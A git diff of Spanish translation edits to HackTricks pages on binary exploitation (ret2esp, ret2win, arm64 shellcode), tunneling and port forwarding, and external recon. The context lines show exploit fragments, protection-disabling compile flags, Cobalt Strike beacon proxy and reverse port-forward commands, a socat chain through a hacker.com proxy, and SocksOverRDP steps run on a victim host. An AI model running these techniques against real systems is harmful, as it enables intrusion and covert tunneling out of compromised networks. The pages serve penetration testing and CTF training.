-- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1 de cada 16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
+- Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
- Ataque de Fast Bin para modificar un arreglo global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar el GOT y hacer que algunas funciones apunten a `system`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index bddf0af8f..9296db33d 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -6,7 +6,7 @@
**Debido a que el ESP (Puntero de Pila) siempre apunta a la parte superior de la pila**, esta técnica implica reemplazar el EIP (Puntero de Instrucción) con la dirección de una instrucción **`jmp esp`** o **`call esp`**. Al hacer esto, el shellcode se coloca justo después del EIP sobrescrito. Cuando se ejecuta la instrucción `ret`, ESP apunta a la siguiente dirección, precisamente donde se almacena el shellcode.
-Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) activo, es posible que se necesite buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
+Si **Address Space Layout Randomization (ASLR)** no está habilitado en Windows o Linux, es posible utilizar instrucciones `jmp esp` o `call esp` que se encuentran en bibliotecas compartidas. Sin embargo, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) activo, es posible que necesites buscar dentro del programa vulnerable en sí para encontrar estas instrucciones (y puede que necesites derrotar [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
Además, poder colocar el shellcode **después de la corrupción del EIP**, en lugar de en medio de la pila, asegura que cualquier instrucción `push` o `pop` ejecutada durante la operación de la función no interfiera con el shellcode. Esta interferencia podría ocurrir si el shellcode se colocara en medio de la pila de la función.
@@ -41,7 +41,7 @@ pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
```
-Puedes ver otro ejemplo de esta técnica en [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Hay un desbordamiento de búfer sin NX habilitado, se utiliza un gadget para **reducir la dirección de `$esp`** y luego un `jmp esp;` para saltar al shellcode:
+Puedes ver otro ejemplo de esta técnica en [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Hay un desbordamiento de búfer sin NX habilitado, se utiliza un gadget para r**educir la dirección de `$esp`** y luego un `jmp esp;` para saltar al shellcode:
```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
@@ -82,7 +82,7 @@ De manera similar, si sabemos que una función devuelve la dirección donde se a
### Ejemplo
-Puedes encontrar algunos ejemplos aquí:
+Puedes encontrar algunos ejemplos aquí:
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
@@ -159,13 +159,13 @@ p.sendline(payload)
p.interactive()
```
> [!WARNING]
-> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para regresar a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\
+> Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para volver a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\
> Con `fgets` no funciona porque **agrega un byte nulo (0x00) al final**.
## Protecciones
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Estos pueden dificultar encontrar una instrucción a la que saltar a esp o cualquier otro registro.
## Referencias
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 26b9726c8..3974e26d8 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -4,7 +4,7 @@
## Información Básica
-Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
+Los desafíos de **Ret2win** son una categoría popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **explotación binaria**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una función específica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta función, cuando se ejecuta, generalmente imprime una bandera o un mensaje de éxito. El desafío típicamente implica sobrescribir la **dirección de retorno** en la pila para desviar el flujo de ejecución a la función deseada. Aquí hay una explicación más detallada con ejemplos:
### Ejemplo en C
@@ -27,7 +27,7 @@ vulnerable_function();
return 0;
}
```
-Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando:
+Para compilar este programa sin protecciones de pila y con **ASLR** desactivado, puedes usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
@@ -63,7 +63,7 @@ Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdum
```sh
objdump -d vulnerable | grep win
```
-Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio.
+Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio.
El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje.
@@ -82,7 +82,7 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, sin ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
+- 32 bits, sin ASLR, desbordamiento pequeño doble, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 97fc72d98..7c32fe9a4 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ Encuentra una introducción a arm64 en:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Código
+## Code
```c
#include
#include
@@ -55,7 +55,7 @@ pattern search $x30
### Opción de desplazamiento de pila
-Comience obteniendo la dirección de la pila donde se almacena el registro pc:
+Comience por obtener la dirección de la pila donde se almacena el registro pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index fcf594298..0c75386a5 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ Encuentra una introducción a arm64 en:
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Código
+## Code
```c
#include
#include
@@ -27,7 +27,7 @@ Compilar sin pie, canario y nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## No ASLR & No canary - Stack Overflow
+## No ASLR & No canary - Stack Overflow
Para detener ASLR, ejecuta:
```bash
@@ -68,6 +68,6 @@ p.interactive()
```
La única cosa "complicada" de encontrar aquí sería la dirección en la pila a la que llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
-Abrí el **`core` file** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
+Abrí el archivo **`core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index 588eea6dd..ceaf4e53d 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -5,7 +5,7 @@
## Consejo de Nmap
> [!WARNING]
-> **ICMP** y **SYN** los escaneos no se pueden tunelizar a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **escaneos TCP** (`-sT`) para que esto funcione.
+> **ICMP** y **SYN** scans no pueden ser tunelizados a través de proxies socks, por lo que debemos **desactivar el descubrimiento de ping** (`-Pn`) y especificar **scans TCP** (`-sT`) para que esto funcione.
## **Bash**
@@ -134,7 +134,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
### SOCKS proxy
-Abre un puerto en el teamserver escuchando en todas las interfaces que se puede usar para **rutar el tráfico a través del beacon**.
+Abre un puerto en el teamserver escuchando en todas las interfaces que se pueden usar para **rutar el tráfico a través del beacon**.
```bash
beacon> socks 1080
[+] started SOCKS4a server on: 1080
@@ -145,21 +145,21 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
-> En este caso, el **puerto se abre en el host beacon**, no en el Team Server y el tráfico se envía al Team Server y de allí al host:puerto indicado.
+> En este caso, el **puerto se abre en el host beacon**, no en el Team Server y el tráfico se envía al Team Server y desde allí al host:puerto indicado.
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
```
Para tener en cuenta:
-- La reversa de puerto de Beacon está diseñada para **túnel de tráfico al Servidor del Equipo, no para retransmitir entre máquinas individuales**.
+- La reversa de puerto de Beacon está diseñada para **túnel de tráfico al Servidor de Equipo, no para retransmitir entre máquinas individuales**.
- El tráfico está **tuneado dentro del tráfico C2 de Beacon**, incluyendo enlaces P2P.
-- **No se requieren privilegios de administrador** para crear reenvíos de puerto reverso en puertos altos.
+- **No se requieren privilegios de administrador** para crear reenvíos de puerto reversos en puertos altos.
### rPort2Port local
> [!WARNING]
-> En este caso, el **puerto se abre en el host de beacon**, no en el Servidor del Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor del Equipo) y desde allí al host:puerto indicado.
+> En este caso, el **puerto se abre en el host de beacon**, no en el Servidor de Equipo y el **tráfico se envía al cliente de Cobalt Strike** (no al Servidor de Equipo) y desde allí al host:puerto indicado.
```
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@@ -195,7 +195,7 @@ Necesitas usar la **misma versión para el cliente y el servidor**
[https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
-**Usa la misma versión para el agente y el proxy**
+**Utiliza la misma versión para el agente y el proxy**
### Tunneling
```bash
@@ -290,11 +290,9 @@ Puedes eludir un **proxy no autenticado** ejecutando esta línea en lugar de la
```bash
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
```
-[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
+### SSL Socat Tunnel
-### Túnel SSL Socat
-
-**/bin/sh consola**
+**/bin/sh console**
Cree certificados en ambos lados: Cliente y Servidor
```bash
@@ -320,7 +318,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
```
## Plink.exe
-Es como una versión de consola de PuTTY (las opciones son muy similares a un cliente ssh).
+Es como una versión de consola de PuTTY (las opciones son muy similares a las de un cliente ssh).
Como este binario se ejecutará en la víctima y es un cliente ssh, necesitamos abrir nuestro servicio y puerto ssh para poder tener una conexión inversa. Luego, para redirigir solo un puerto accesible localmente a un puerto en nuestra máquina:
```bash
@@ -346,7 +344,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Necesitas tener **acceso RDP sobre el sistema**.\
Descargar:
-1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túneles de paquetes sobre la conexión RDP**.
+1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Esta herramienta utiliza `Dynamic Virtual Channels` (`DVC`) de la función de Servicio de Escritorio Remoto de Windows. DVC es responsable de **túnelizar paquetes sobre la conexión RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así:
@@ -354,9 +352,9 @@ En tu computadora cliente carga **`SocksOverRDP-Plugin.dll`** así:
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
```
-Ahora podemos **conectar** a la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y que **escuchará** en **127.0.0.1:1080**.
+Ahora podemos **conectar** a la **víctima** a través de **RDP** usando **`mstsc.exe`**, y deberíamos recibir un **mensaje** diciendo que el **plugin SocksOverRDP está habilitado**, y escuchará en **127.0.0.1:1080**.
-**Conéctese** a través de **RDP** y suba y ejecute en la máquina de la víctima el binario `SocksOverRDP-Server.exe`:
+**Conéctate** a través de **RDP** y sube y ejecuta en la máquina de la víctima el binario `SocksOverRDP-Server.exe`:
```
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
@@ -480,7 +478,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **es una herramienta para exponer soluciones a Internet en una línea de comando.**\
-_Exposition URI son como:_ **UID.ngrok.io**
+_URI de exposición son como:_ **UID.ngrok.io**
### Instalación
@@ -513,7 +511,7 @@ _También es posible agregar autenticación y TLS, si es necesario._
```
#### Sniffing HTTP calls
-_Util útil para XSS, SSRF, SSTI ..._\
+_Uso útil para XSS, SSRF, SSTI ..._\
Directamente desde stdout o en la interfaz HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunneling internal HTTP service
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index f09dce021..0fcdbafa7 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -26,7 +26,7 @@ Otra opción es visitar la página de **Wikipedia** de la empresa principal y bu
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores.
-Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
+Es interesante averiguar si la **empresa tiene asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace.
```bash
@@ -58,7 +58,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
-**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Dominios
@@ -93,7 +93,7 @@ Puedes usar herramientas en línea como:
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
-Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
+Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\
También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
@@ -113,7 +113,7 @@ Hay algunas páginas y herramientas que te permiten buscar por estos trackers y
### **Favicon**
-¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hecha por [@m4ll0k2](https://twitter.com/m4ll0k2) hace. Aquí te explicamos cómo usarla:
+¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Aquí te explicamos cómo usarla:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -155,7 +155,7 @@ Consulta este [**artículo para más información**](https://swarm.ptsecurity.co
### Información de Mail DMARC
-Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
+Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
### **Toma Pasiva**
@@ -163,7 +163,7 @@ Aparentemente es común que las personas asignen subdominios a IPs que pertenece
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
-### **Otras maneras**
+### **Otras formas**
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
@@ -175,14 +175,14 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
**Assetfinder**
-[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante.
+[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante.
### **Buscando vulnerabilidades**
-Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **haya perdido la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
+Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
-Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
+Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
+_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
## Subdominios
@@ -258,7 +258,7 @@ Hay **otras herramientas/APIs interesantes** que, aunque no están directamente
## This is the API the crobat tool will use
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
```
-- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com)
+- [**API gratuita de JLDC**](https://jldc.me/anubis/subdomains/google.com)
```bash
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
```
@@ -282,12 +282,12 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
+- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
```
-- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **y** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
+- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Buscan en la web archivos JS y extraen subdominios de allí.
```bash
# Get only subdomains from SubDomainizer
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
@@ -365,7 +365,7 @@ Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza br
```bash
cat subdomains.txt | dnsgen -
```
-- [**goaltdns**](https://github.com/subfinder/goaltdns): Dadas las dominios y subdominios, genera permutaciones.
+- [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios, genera permutaciones.
- Puedes obtener las permutaciones de goaltdns **wordlist** en [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@@ -459,7 +459,7 @@ Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/dom
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Note que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
+_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está en el alcance, ten cuidado._
## IPs
@@ -482,12 +482,12 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
> Hemos encontrado todas las empresas y sus activos y conocemos rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
-En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
+En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, por lo que es posible que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
-Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
+Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, por lo que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
-Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
+Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -496,7 +496,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**.
